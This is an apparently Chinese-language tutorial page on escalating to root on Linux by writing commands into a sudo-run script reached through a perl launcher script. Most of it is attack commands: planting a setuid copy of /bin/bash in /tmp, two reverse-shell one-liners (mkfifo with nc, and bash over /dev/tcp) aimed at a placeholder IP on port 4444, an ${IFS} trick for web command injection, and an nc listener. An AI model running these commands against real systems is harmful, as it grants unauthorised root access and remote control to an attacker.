zl程序教程

您现在的位置是:首页 >  其他

当前栏目

通过修改脚本来提权的方法

2023-04-18 12:26:41 时间
以普通用户登入后,先sudo -l

 

看看有什么具有root权限、且普通用户可以写入的脚本

例:A.sh

 

该类脚本普通用户是启动不了的,但可以通过链式脚本启动

例:

存在脚本B.sh,其内部为:

#!/usr/bin/perl

system("sh", "/etc/A.sh");

即可以通过/usr/bin/perl来启动B脚本,然后B脚本又会启动A脚本

 

A、B脚本对于普通用户一般为:

  A可以写入且具有root权限,但不可执行

  B可以免密执行但不可写入

 

所以最重要的是找到这条链,并修改A脚本,最后执行B脚本

 

在找到A脚本后就可以通过两种方法来提取:

 

1.修改脚本来切换shell获取root权限的方法:

 

原理:

一般/bin/bash是具有root权限,而且普通用户不能启动,

故将其复制为/tmp/bash,这是允许用户启动的shell

这样一旦用户运行脚本/tmp/bash则会拥有root的权限

接着用户就可以运行/tmp/bash来获取root权限

 

操作:

1.先将命令写入A脚本

echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > /../../A.sh 

 

2.以sudo执行B脚本

可以通过很多的方法启动

用sudo -l里允许的链式脚本文件或程序启动脚本

 

3.切换shell,获取root权限

cd /tmp
./bash -p

到这里就已经为root用户了

 

2.修改脚本建立一个反弹shell获取root权限的方法

 

原理:

运行脚本,脚本自动执行内置命令

然后就会反弹一个shell给本地机

本地机预先监听就可以连入

 

操作:

1.先将命令写入A脚本

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc your_ip 4444 >/tmp/f

4444为将要监听的端口

 或是该命令也行

bash -i >&/dev/tcp/your_ip/4444 0>&1

4444为监听端口
可以用${IFS}来代替一个空格(用于网页command输入)

 

2.在本地机上开启监听

nc -lnvp 4444

 

3.以sudo运行B脚本

运行完连入后即为root用户